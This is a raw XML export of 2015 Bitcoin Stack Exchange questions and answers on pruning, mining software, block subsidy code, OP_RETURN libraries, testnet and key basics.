  <row Id="40605" PostTypeId="2" ParentId="40600" CreationDate="2015-09-20T03:00:23.057" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why doesn't each node store only a portion of the blockchain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This has been proposed before and is possible with Bitcoin, but it's not clear how it would be executed. The blocks aren't an important part of a running node, for most people you can throw them out as soon as you have processed them into your UTXO database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when deciding which parts to store, and signalling to other people in the network that you have a certain subset of blocks. You can't advertise a list of hashes as that would be massive and inefficient (many megabytes for each peer), and making a deterministic random selection is extremely problematic. Choosing ranges of blocks is not ideal because the sizes are not consistent, 1,000 blocks at the beginning of the chain is servers orders of magnitude smaller than ones at the tip. In a naive implementation of random selections peers attempting to sync with the network may need to make thousands of connections to find a single peer that has a specific block, which is obviously not feasible. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From my understanding of the blockchain, let's assume a particular node starts at the genesis block. Let's assume another node stores 1% of the blockchain past the genesis block. Couldn't multiple node verify block hashes for their shared 9% at a rate of once every 10 minutes? It wouldn't really use that much data -- you could hash the 9% of the blockchain to a particular value, produce a public key, and see if the other nodes can match a private key to said public key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not necessary and highly vulnerable to Sybil attacks, you don't need to verify blocks once you have seen them. Pruned nodes work like this today, only they throw away every block and store absolutely nothing more than they are specified to sore. They don't advertise which blocks they have because there is no mechanism for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to read up on how the autoprune patch works and get a better grasp on the threat models that need to be tackled here. You've missed some of the operation slightly, note that pruning for nodes nodes does not operate in the way described in the white paper, the UTXO is a newish concept added in 0.8.0 era Bitcoin Core. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A related question: Is this what Electrum does?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not at all, Electrum servers are a full node and an extremely heavy address based index, almost doubling the storage size. The client is light weight but the sever most definitely is not. There's no sensible way of maintaining these indexes in a sharded way, though you could break addresses into multiple pools and hope that people maintained enough of each shard for clients to be able to request subscriptions for all of their addresses. Ideally systems would be designed that don't require full indexes as they are getting increasingly unwieldy to work with. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-20T03:00:23.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40606" PostTypeId="1" CreationDate="2015-09-20T05:31:51.850" Score="0" ViewCount="236" Body="&lt;p&gt;When I am trying to mine with my new butterfly labs little single BFGminer says that it cannot detect any devices. I try and add devices, and it doesn't work. I know that it is getting power, because my OS will recognize that the miner has been plugged into the computer. I have tried now on both linux and windows with no luck getting it to recognize it. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="29471" LastActivityDate="2015-09-20T05:31:51.850" Title="Butterfly Labs Little Single No Devices Found" Tags="|butterfly-labs|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40607" PostTypeId="1" CreationDate="2015-09-20T11:35:44.233" Score="1" ViewCount="173" Body="&lt;p&gt;I am trying to compile stellar-core code on windows but I can't to figure out what to do with mingw to make it work. I.e. I have downloaded and installed all required tools including mingw but I don't know how to setup mingw to work here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The install.txt says mingw is required for building xdrc but there isn't much more. When I tried to build is 2 out of 7 projects compiled successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tips will be appreciated. Thanks&lt;/p&gt;&#xA;" OwnerUserId="29475" LastActivityDate="2015-09-21T16:51:33.020" Title="Compiling Stellar-core on windows: where does mingw/cygwin come in" Tags="|compiling|stellar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40609" PostTypeId="2" ParentId="40602" CreationDate="2015-09-20T15:05:24.923" Score="4" Body="&lt;p&gt;My solution to the question for an encrypted wallet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;walletpassphrase &quot;.......&quot; 600&#xA;dumpprivkey ......&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the mistake of including the brackets [ ] when entering the public key after the call dumpprivkey.&lt;/p&gt;&#xA;" OwnerUserId="28187" LastActivityDate="2015-09-20T15:05:24.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40614" PostTypeId="2" ParentId="36612" CreationDate="2015-09-20T19:56:21.593" Score="4" Body="&lt;p&gt;Despite the name, the &lt;code&gt;MAX_MONEY&lt;/code&gt; constant is not used in determining the total maximum number of coins.  Rather, it is used only for a sanity check: any transaction output larger than &lt;code&gt;MAX_MONEY&lt;/code&gt; is automatically rejected as invalid.  They simply set this new constant equal to the eventual maximum number of Bitcoins, since that is a value that certainly should never be exceeded by any output.  This was part of the fix to &lt;a href=&quot;https://en.bitcoin.it/wiki/Value_overflow_incident&quot; rel=&quot;nofollow noreferrer&quot;&gt;an early bug&lt;/a&gt; where only the sum of all outputs for a transaction was checked, leading to the possibility that the addition might overflow.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block subsidy (aka reward) is computed in the &#xA;&lt;code&gt;GetBlockSubsidy&lt;/code&gt; function in &lt;code&gt;validation.cpp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CAmount GetBlockSubsidy(int nHeight, const Consensus::Params&amp;amp; consensusParams)&#xA;{&#xA;    int halvings = nHeight / consensusParams.nSubsidyHalvingInterval;&#xA;    // Force block reward to zero when right shift is undefined.&#xA;    if (halvings &amp;gt;= 64)&#xA;        return 0;&#xA;&#xA;    CAmount nSubsidy = 50 * COIN;&#xA;    // Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.&#xA;    nSubsidy &amp;gt;&amp;gt;= halvings;&#xA;    return nSubsidy;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can see the initial block reward of 50 coins is hard coded.  The halving interval &lt;code&gt;consensusParams.nSubsidyHalvingInterval&lt;/code&gt; is set in &lt;code&gt;chainparams.cpp&lt;/code&gt; in the constructors for &lt;code&gt;CMainParams&lt;/code&gt;, &lt;code&gt;CTestNetParams&lt;/code&gt; and &lt;code&gt;CRegTestParams&lt;/code&gt; respectively (the respective default values are 210000, 210000, 150).  Note that &lt;code&gt;MAX_MONEY&lt;/code&gt; does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to change your coin's total money supply, you'll need to do a little math to decide what the initial block reward and halving interval should be, and modify them accordingly.  If you want the reward adjusted by any other mechanism than &quot;continue halving until the reward reaches zero&quot;, then you'll have to rewrite the &#xA;&lt;code&gt;GetBlockSubsidy&lt;/code&gt; function.  (And you should &lt;em&gt;also&lt;/em&gt; change &lt;code&gt;MAX_MONEY&lt;/code&gt; to an appropriate value that should never be exceeded by any transaction output.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2018-04-11T13:57:35.423" LastActivityDate="2018-04-11T13:57:35.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40616" PostTypeId="2" ParentId="29554" CreationDate="2015-09-21T05:44:27.203" Score="11" Body="&lt;p&gt;If you want to write OP_RETURNs to the blockchain without getting into the internals of how transactions are built, an easy way is to use our libraries for PHP and Python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coinspark/php-OP_RETURN&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/coinspark/php-OP_RETURN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/coinspark/python-OP_RETURN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These support either sending individual transactions with one OP_RETURN attached, or else sending a batch of linked transactions to embed larger pieces of content. That content can then be retrieved from the blockchain using a single identifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're using Bitcoin Core 0.11, you can change the value of &lt;code&gt;OP_RETURN_MAX_BYTES&lt;/code&gt; to &lt;code&gt;80&lt;/code&gt;, rather than &lt;code&gt;40&lt;/code&gt; as it currently stands in the code.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-09-21T05:44:27.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40617" PostTypeId="2" ParentId="40532" CreationDate="2015-09-21T05:52:50.860" Score="3" Body="&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;block chain&lt;/strong&gt;&lt;/a&gt; is a transaction database shared by all nodes participating in a system based on the &lt;a href=&quot;https://bitcoin.org/en/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bitcoin&lt;/strong&gt;&lt;/a&gt; protocol. A full copy of a currency's block chain contains every transaction ever executed in the currency. With this information, one can find out how much value belonged to each address at any point in history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are new to Bitcoin or have never worked with '&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;bitcoind&lt;/strong&gt;&lt;/a&gt;' (the Bitcoin daemon with no user interface) then I suggest you start clicking (and reading) around on these sites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;en.bitcoin.it&lt;/strong&gt;&lt;/a&gt; - A Bitcoin wiki&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;bitcointalk.org&lt;/strong&gt;&lt;/a&gt; - A Bitcoin Forum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless one really dives into the source code of Bitcoin one can't really manipulate (or sometimes even view) a Bitcoin blockchain without running the Bitcoin software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most blockchain software is running a form of original Bitcoin software underneath the blockchain software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to try and do something like blockchain.info then I would suggest &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Abe&lt;/strong&gt;&lt;/a&gt; to start with. Abe draws inspiration from &lt;a href=&quot;https://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bitcoin Block Explorer (BBE)&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BlockChain.info&lt;/strong&gt;&lt;/a&gt; and seeks some level of compatibility with them but uses a completely new implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking at Abe like it could be way over your head then try googling &quot;bitcoin blocknotify&quot; or &quot;bitcoin walletnotify&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block and wallet (and alert) notify is a parameter you can set in your bitcoin.conf file that will make your bitcoin wallet execute a script of your choosing and can pass the script an argument.&lt;/p&gt;&#xA;" OwnerUserId="29487" LastEditorUserId="29487" LastEditDate="2015-09-22T15:30:53.273" LastActivityDate="2015-09-22T15:30:53.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40620" PostTypeId="2" ParentId="40448" CreationDate="2015-09-21T09:50:16.490" Score="5" Body="&lt;p&gt;According to Ripple: Ripple for Financial Institutions&#xA;Financial institutions, network operators and regulators play critical roles scaling and providing stability to payment systems. Ripple enhances the existing payment stack, offering real-time settlement infrastructure at the foundation.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/integrate/&quot; rel=&quot;noreferrer&quot;&gt;https://ripple.com/integrate/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that financial institutions, network operators and especially &quot;regulators&quot; are part of this equation then in this instance of &quot;Financial Institutions&quot; when considering the totality of human involvement it perhaps could not be considered decentralized, which in the context described makes it centralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple also states &quot;Jurisdiction or network specific rules, governance, standards, and other critical functions are intended to be provided by existing systems and operators.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With respect to your second question Ripple is a system for exchanging the Internet of Value (many different assets digital and physical) in which they also offer their own XRP digital &quot;currency&quot;, whereas Bitcoin is simply another digital currency.&lt;/p&gt;&#xA;" OwnerUserId="29340" LastEditorUserId="29340" LastEditDate="2015-09-21T09:57:31.527" LastActivityDate="2015-09-21T09:57:31.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40621" PostTypeId="1" AcceptedAnswerId="40622" CreationDate="2015-09-21T11:55:27.123" Score="4" ViewCount="114" Body="&lt;p&gt;Based on a certain amount of addresses, is it possible to find out how many bitcoins a specific wallet includes/owns?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. I have a blockchain.info wallet. If I create 1000 bitcoin addresses, fill them with 1 bitcoin each. The blockchain.info wallet, will show me the total  balance of 1000 bitcoins on my wallet.&#xA;If I share one of this addresses with someone, will he be able to find out that I have a wallet with an overall amount of 1000 bitcoins? &lt;/p&gt;&#xA;" OwnerUserId="21434" LastActivityDate="2015-09-21T13:30:00.997" Title="Based on a certain amount of addresses, is it possible to find out how many bitcoins a specific wallet includes/owns?" Tags="|bitcoind|bitcoin-core|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40622" PostTypeId="2" ParentId="40621" CreationDate="2015-09-21T13:30:00.997" Score="4" Body="&lt;p&gt;Short answer: No.&#xA;Long answer: It depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addresses themselves are independent (unless blockchain.info has bugs that prove otherwise*) and no one can tell just by looking at them that they are contained in the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the way you sent 1 BTC to each of those addresses and/or the way you will be spending that money later on, might betray you! For example if you buy one Ferrari for 1000BTC, combining all those bitcoins in the wallet in one transaction, then others looking at that might conclude that you were the owner of all those addresses afterall. Similar if you have 1000BTC in 1 address and then split that up and send 1 each, onlookers might suspect they're still yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*) Note that blockchain.info has a horrible track record of generating bad private keys, causing many bitcoins to be simply stolen.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-09-21T13:30:00.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40623" PostTypeId="2" ParentId="40600" CreationDate="2015-09-21T14:36:38.060" Score="0" Body="&lt;p&gt;Something like this has been implemented and &lt;a href=&quot;https://bitcoin.org/en/release/v0.11.0&quot; rel=&quot;nofollow&quot;&gt;released in v0.11.0&lt;/a&gt; in Bitcoin Core client.  Its called pruning and you can now use the -prune option specify how much blockchain data you want to store.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-prune=N: where N is the number of MB to allot for raw block &amp;amp; undo data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work as yet in terms of wallet so when pruning you cannot use the wallet in the core client.  It's also stops relaying though they are working on ways to incorporate that to allow nodes to still relay blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean that nodes store different part of the blockchain though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a new node in pruning mode will still download and work its way through all blocks, but will not keep all old blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my understanding that this will be updated to support using the wallet in pruning mode in future. EDIT: Apparently master branch of bitcoin core already supports using the wallet in pruning mode.&lt;/p&gt;&#xA;" OwnerUserId="29310" LastEditorUserId="29310" LastEditDate="2015-09-23T13:09:55.917" LastActivityDate="2015-09-23T13:09:55.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40624" PostTypeId="2" ParentId="25011" CreationDate="2015-09-21T14:56:17.750" Score="1" Body="&lt;p&gt;On linux: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps aux | grep bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;watch ps aux | grep bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But to answer your question slightly differently I'd suggest keeping existing bitcoind running.  Then your new node add a connect statement with the local ip of the old node in the bitcoin.conf file (located usually in $HOME/.bitcoin/).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your new node will then solely connect to the existing node and download, via your local network all the blocks from the existing node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if both PCs are imobile you could leave it that way to avoid duplicate downloads from the internet.  An alternative if the second is a laptop for example is to use -addnode instead. From &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-addnode=&amp;lt;ip&amp;gt;          Add a node to connect to and attempt to keep the connection open&#xA;-connect=&amp;lt;ip&amp;gt;          Connect only to the specified node(s)&#xA;-dns                   Allow DNS lookups for -addnode, -seednode and -connect (default: 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29310" LastActivityDate="2015-09-21T14:56:17.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40625" PostTypeId="2" ParentId="40607" CreationDate="2015-09-21T16:51:33.020" Score="2" Body="&lt;p&gt;I am not sure StackExchange is the place to ask this as it's issue level (which GitHub can take care of - &lt;a href=&quot;https://github.com/stellar/stellar-core/issues&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stellar/stellar-core/issues&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, in the Install-Windows.txt it says to also update your PATH environment variable, did you do this?&lt;/p&gt;&#xA;" OwnerUserId="22941" LastActivityDate="2015-09-21T16:51:33.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40626" PostTypeId="1" AcceptedAnswerId="40632" CreationDate="2015-09-21T19:04:01.573" Score="1" ViewCount="3280" Body="&lt;p&gt;When I run cgminer for run it to mine ltc the parameter --scrypt, cgminer says that is not recognized option. So, cgminer does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What miner can I use to mine litecoin with the scrypt hash function?&lt;/p&gt;&#xA;" OwnerUserId="29496" LastEditorUserId="18196" LastEditDate="2015-09-24T17:21:18.027" LastActivityDate="2015-09-24T17:21:18.027" Title="What miner can I use to mine litecoin with the scrypt hash function?" Tags="|litecoin|gpu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40628" PostTypeId="1" AcceptedAnswerId="40636" CreationDate="2015-09-21T21:42:21.910" Score="1" ViewCount="199" Body="&lt;p&gt;Is it 21,000,000 / 0.01 (the cost of naming) = 2.1B? &#xA;from docs: &quot;The name_firstupdate transaction has a network fee. The network fees represents namecoins (NC) that are destroyed. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? If not, it seems like quite a small number.&lt;/p&gt;&#xA;" OwnerUserId="5450" LastEditorUserId="5450" LastEditDate="2015-09-22T02:59:15.213" LastActivityDate="2015-09-22T18:59:06.057" Title="What is the maximum number of names (domains) that can be registered with NameCoin?" Tags="|altcoin|namecoin|" AnswerCount="1" CommentCount="2" ClosedDate="2020-05-06T08:13:55.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="40631" PostTypeId="2" ParentId="4914" CreationDate="2015-09-22T12:07:36.143" Score="-1" Body="&lt;p&gt;There is &lt;a href=&quot;http://dogerr.com&quot; rel=&quot;nofollow&quot;&gt;http://dogerr.com&lt;/a&gt;. It is a freelance marketplace where people can get hired for bit coin, litecoin and dogecoin. It's free to use.&lt;/p&gt;&#xA;" OwnerUserId="29511" LastActivityDate="2015-09-22T12:07:36.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40632" PostTypeId="2" ParentId="40626" CreationDate="2015-09-22T12:42:43.420" Score="0" Body="&lt;p&gt;You can look at &lt;a href=&quot;https://litecoin.info/Mining_software&quot; rel=&quot;nofollow&quot;&gt;this table of software scrypt miners&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't mention whether you intend to try to use a CPU or GPU to mine. Towards the top of the list is sgminer (for GPU mining) and Pooler's cpuminer (for CPU mining). There are other choices listed there, but a number of them are just graphical frontends or are listed as no longer maintained.&lt;/p&gt;&#xA;" OwnerUserId="27312" LastActivityDate="2015-09-22T12:42:43.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40633" PostTypeId="2" ParentId="21027" CreationDate="2015-09-22T13:54:02.637" Score="2" Body="&lt;p&gt;This answer is probably too late for the OP, but it might clear things up for whoever ends up with the same question later. So here it goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you (as I did until a moment ago) have the misconception that the private key is also a pair of (x, y) coordinates in the elliptic curve, just as the public key. Well simple answer, it is not. The private key is actually just a number which here is called the &quot;secret exponent&quot;. This number is multiplied by the Generator Point and that's how you get your public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K = k * G&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where K is the public key, k is the private key and G is the generator point. So this generator point G; a constant given by the specification is the actual point here. Your private key is just a number. The number of times the generator point as to be added with itself to give you the public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be confusing because people keep calling that the &quot;exponent&quot; making it look like there are repeated multiplications here, when in fact what we have is repeated sums. So it should probably be called the &quot;secret factor&quot;. But keep in mind that this is elliptic curve multiplication, not regular every day multiplication, so I assume you can name it however you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is just that calling it &quot;exponent&quot; is somewhat misleading.&lt;/p&gt;&#xA;" OwnerUserId="16981" LastActivityDate="2015-09-22T13:54:02.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40634" PostTypeId="2" ParentId="22898" CreationDate="2015-09-22T15:42:18.403" Score="1" Body="&lt;p&gt;&lt;strong&gt;Run a &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just set your &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;bitcoin.conf&lt;/strong&gt;&lt;/a&gt; to 'testnet=1' on all the machines you are connecing together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then can mine and transfer &quot;fake&quot; Bitcoins on your private test network, not touching the official one (not downloading the blockchain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally, these coins are not usable away from the testnet that you created because you are actually creating a test blockchain that the coins are created on. Everything works the same as the normal Bitcoin client (or bitcoind).&lt;/p&gt;&#xA;" OwnerUserId="29487" LastActivityDate="2015-09-22T15:42:18.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40635" PostTypeId="2" ParentId="13119" CreationDate="2015-09-22T16:11:40.003" Score="1" Body="&lt;p&gt;You should take a look at &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Abe&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Abe&lt;/strong&gt;: a free block chain browser for Bitcoin-based currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Abe reads the Bitcoin block file, transforms and loads the data into a database, and presents a web interface similar to &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bitcoin Block Explorer&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;https://blockchain.io&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Blockchain.io&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to mention it was written in Python.&lt;/p&gt;&#xA;" OwnerUserId="29487" LastActivityDate="2015-09-22T16:11:40.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40636" PostTypeId="2" ParentId="40628" CreationDate="2015-09-22T18:59:06.057" Score="0" Body="&lt;p&gt;Given increased use of Namecoin, which would lead to a shortage of namecoins as you describe, the fee would be reduced. I have previously seen plans to reduce the network fee to 0.001 or lower, but can not find it now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These changes would require a hard fork of Namecoin, but it is important to note a fee is only destroyed upon a new registration. Updates of DNS records and domain renewal go to miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any hard block size limit, but should one exist (or be implemented with a hard fork) it would be unlikely to get anywhere near the 2.1 billion names as you describe.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2015-09-22T18:59:06.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40639" PostTypeId="1" CreationDate="2015-09-23T16:03:12.897" Score="1" ViewCount="3084" Body="&lt;p&gt;I have compiled litecoin core and am currently running litecoind which is downloading the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other command-line tools do I need in order to mine litecoin without a GUI? And what are the other prerequesites (aside from a beefy rig with lots of graphics cards etc)? Can I just create a wallet and set the daemon running? Does the daemon mine coins or do I need to use litecoin-cli to instruct the daemon as to the location of my wallet etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find any decent command line guides - most seem to be for cgminer or litecoin-qt&lt;/p&gt;&#xA;" OwnerUserId="10211" LastActivityDate="2018-07-12T09:15:06.183" Title="Which command line software tools are required to mine litecoin" Tags="|litecoin|ubuntu|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40640" PostTypeId="2" ParentId="40639" CreationDate="2015-09-23T17:21:52.827" Score="1" Body="&lt;p&gt;You have miners on command line like &lt;a href=&quot;https://github.com/veox/sgminer&quot; rel=&quot;nofollow&quot;&gt;sgminer&lt;/a&gt; or &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt;. You can use this with a GUI but it is not a requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find usage guide on previous link.&#xA;Exemple for sgminer. After you build it and install it, you simply have to execute this command to lunch mining :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sgminer -o http://pool:port -u username -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;pool&lt;/strong&gt; by adresse of your pool&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;port&lt;/strong&gt; by the port of your mining pool &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;username&lt;/strong&gt; and &lt;strong&gt;password&lt;/strong&gt; by your pool login.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want more information check official github of these projects&lt;/p&gt;&#xA;" OwnerUserId="26476" LastActivityDate="2015-09-23T17:21:52.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40641" PostTypeId="1" AcceptedAnswerId="40644" CreationDate="2015-09-23T17:53:49.367" Score="2" ViewCount="66" Body="&lt;p&gt;How exactly does TRR (Transaction Remote Release) work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the similarities (and differences) with the way TOR works? &lt;/p&gt;&#xA;" OwnerUserId="15073" LastEditorUserId="15073" LastEditDate="2015-09-23T19:21:17.900" LastActivityDate="2015-09-23T23:19:35.703" Title="How does Transaction Remote Release work?" Tags="|transactions|privacy|tor|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40642" PostTypeId="1" CreationDate="2015-09-23T18:06:45.297" Score="1" ViewCount="315" Body="&lt;p&gt;Is there some reason why the mining software like &lt;code&gt;sgminer&lt;/code&gt;, &lt;code&gt;cgminer&lt;/code&gt;, or &lt;code&gt;bgminer&lt;/code&gt; are not on &lt;a href=&quot;http://brew.sh/&quot; rel=&quot;nofollow&quot;&gt;homebrew&lt;/a&gt;?  I guess I'm wondering if there is a &quot;political&quot; reason? or if it's just not been tried yet? or is there some other reason?&lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="18196" LastEditDate="2016-03-06T19:27:56.660" LastActivityDate="2016-04-05T22:20:54.097" Title="Why are there not miners on homebrew" Tags="|mac|mining-software|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
